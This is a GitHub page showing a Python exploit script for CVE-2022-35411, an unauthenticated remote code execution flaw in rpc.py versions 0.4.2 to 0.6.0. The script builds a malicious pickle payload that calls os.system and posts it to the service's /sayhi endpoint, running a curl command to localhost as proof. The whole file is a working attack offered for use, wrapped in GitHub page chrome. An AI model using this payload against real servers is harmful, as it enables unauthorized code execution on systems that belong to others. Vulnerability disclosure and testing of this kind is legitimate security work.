-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathrpcpy-exploit.py
52 lines (33 loc) · 1004 Bytes
/
rpcpy-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# Exploit Title: Remote Code Execution in rpc.py through 0.6.0
# Google Dork: N/A
# Date: 2022-07-12
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/abersheeran
# Software Link: https://github.com/abersheeran/rpc.py
# Version: v0.4.2 - v0.6.0
# Tested on: Debian 11, Ubuntu 20.04
# CVE : CVE-2022-35411
import requests
import pickle
# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py
HOST = "127.0.0.1:65432"
URL = f"http://{HOST}/sayhi"
HEADERS = {
"serializer": "pickle"
}
def generate_payload(cmd):
class PickleRce(object):
def __reduce__(self):
import os
return os.system, (cmd,)
payload = pickle.dumps(PickleRce())
print(payload)
return payload
def exec_command(cmd):
payload = generate_payload(cmd)
requests.post(url=URL, data=payload, headers=HEADERS)
def main():
exec_command('curl http://127.0.0.1:4321')
# exec_command('uname -a')
if __name__ == "__main__":
main()